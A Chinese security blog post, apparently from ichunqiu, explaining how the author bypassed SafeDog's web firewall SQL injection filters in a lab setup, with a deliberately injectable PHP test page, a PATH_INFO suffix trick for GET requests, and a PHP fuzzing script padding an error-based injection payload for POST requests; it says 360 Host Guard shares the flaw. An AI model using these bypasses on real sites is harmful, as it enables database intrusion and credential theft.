作者:索马里的海贼
来源:ichunqiu
本文属i春秋原创奖励计划,未经许可禁止转载!
前言
前些日子测试漏洞碰上了安全狗,一直做代码审计没什么实战经验
被虐的不要不要的。找了一些网上的方法,基本上封的封有限制的有限制,没什么通用的好方法(当然也可能是我找的姿势不对)。昨天有点时间就特地看了下安全狗的逻辑做了一些fuzz,成功bypass了GET和POST的注入防御,不是特别通用,就当给大伙分享一些思路。
正文
测试环境
Windows Server 2003 Enterprise Edition Service Pack 2
Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
网站安全狗(APACHE版) V3.5正式版
- 1.主程序版本:3.5.12048
- 2.网马库版本:2016-06-29
测试代码
sqlin.php:
<?php
$link = mysql_connect(‘localhost‘, ‘root‘, ‘root‘); mysql_select_db(‘anquangou‘, $link);
$sql = ‘select * from `user` where `id`=‘.$_REQUEST[‘id‘]; echo $sql."<br>\n";
$result =mysql_query($sql);
while($array = mysql_fetch_assoc($result)){ echo "id:".$array[‘Id‘]."<br />\n";
echo "username:".$array[‘username‘]."<br />\n"; echo "password:".$array[‘password‘]."<br />\n";
}
echo mysql_error();
数据库:
# Host: localhost (Version: 5.5.53)
# Date: 2016-11-19 17:57:30
# Generator: MySQL-Front 5.3 (Build 4.234)
/*!40101 SET NAMES utf8 */;
#
# Structure for table "admin"
#
DROP TABLE IF EXISTS `admin`;
CREATE TABLE `admin` (
`Id` int(11) NOT NULL AUTO_INCREMENT, `admin_name` varchar(255) DEFAULT NULL, `admin_pass` varchar(255) DEFAULT NULL, PRIMARY KEY (`Id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;
#
# Data for table "admin"
#
/*!40000 ALTER TABLE `admin` DISABLE KEYS */; INSERT INTO `admin` VALUES (1,‘admin‘,‘admin888‘);
/*!40000 ALTER TABLE `admin` ENABLE KEYS */;
#
# Structure for table "user"
#
DROP TABLE IF EXISTS `user`;
CREATE TABLE `user` (
`Id` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(255) DEFAULT NULL, `password` varchar(255) DEFAULT NULL, PRIMARY KEY (`Id`)
) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=utf8;
#
# Data for table "user"
#
/*!40000 ALTER TABLE `user` DISABLE KEYS */;
INSERT INTO `user` VALUES (1,‘user‘,‘userpass‘),(2,‘user2‘,‘upass2‘); /*!40000 ALTER TABLE `user` ENABLE KEYS */;
GET型注入
GET型的注入其实能动手脚的地方不多,就一个url。安全狗没有公开自己的防护规则,不过有添加规则的功能,看了下是用正则语法。猜测官方规则应该也是正则。绕过有两种选择:
1.绕过正则的匹配,匹配失败当然就不会被拦截了。
2.绕过(或者打乱)程序的逻辑。不进入匹配逻辑也就不会拦截了。
对于正则绕过,在不知道防护规则具体正则表达式的前提下,就只能fuzz了,各种穿插配合。不过我尝试的是第二种方法。
安全狗的原理是往Web Service中注入一个模块,抢在Web Service处理之前获得HTTP请求并根据规则处理,没问题就交给Web Service继续处理,有问题就拦截并返回自定义错误信息。
一个简单的测试
fakefile.php实际上并不存在,但是仍然会被安全狗拦下来。当然也包括php5 php4 asp cer asa等等等等 甚至扩展名是.111都会拦截。不过也有例外,常见的静态文件(.js .jpg .swf .css等等)它是不管的。
可以看到并没有出拦截提示而是直接404了 所以猜测安全狗应该是存在类似白名单机制的,特定的静态资源后缀请求就不处理直接交给webserver 这种处理看起来没问题其实是存在隐患的 Apache和IIS默认都开启pathinfo支持 来做个测试
对php来说 请求的是sqlin.php 后面的/pathinfo.css是 PATH_INFO 但是安全狗好像把 pathinfo.css 当作了真正的请求对象,因为是静态资源 所以不做处理直接把请求丢给了php。
就这么秒了?对。。是不是so easy?
POST型注入
POST型再用pathinfo就不好使了 因为正常对静态资源的请求不会用post 所以也不用什么白名单了 任何POST请求都要先进狗嘴了绕一圈 那么就想办法来fuzz一下吧 构造一个post脚本
<?php $i=10000;
$url = ‘http://192.168.1.121/sqlin.php‘; for(;;){
$i++;
echo "$i\n";
$payload = ‘id=-1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))) and 1=‘.str_repeat(‘3‘,$i); $ret = doPost($url,$payload);
if(!strpos($ret,‘网站防火墙‘)){
echo "done!\n".strlen($payload)."\n".$ret; die();
}
}
function doPost($url,$data=‘‘){ $ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1 ); curl_setopt($ch, CURLOPT_HEADER, 0 ); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); $return = curl_exec ($ch);
curl_close ($ch); return $return;
}
在正常的注入语句后面加入超长字符串 然而跑了很久都没结果 于是停下脚本 换换位置 把超长字符串放在中间
$payload = ‘id=-1 and 1=‘.str_repeat(‘3‘,$i).‘ and (extractvalue(1,concat(0x7e,(select user()),0x7e)))‘;
跑起来
wtf?又秒了?浏览器中试一下
太坑了 我才刚脱裤子你告诉我结束了
后记
其实实际测试中过程要复杂的多,时间关系挑了成功的步骤写一下pathinfo其实是一个很容易被忽视的问题 顺带测试了一下360的主机卫士 也存在相同的问题。而且360的主机卫士自带的白名单还有类似于dede admin 这样的(后台操作不防御)可以用
http://example.com/index.php/admin/?id=sql注入这种方式来秒
更多安全技术、精品好文、白帽黑客大佬尽在:http://bbs.ichunqiu.com/portal.php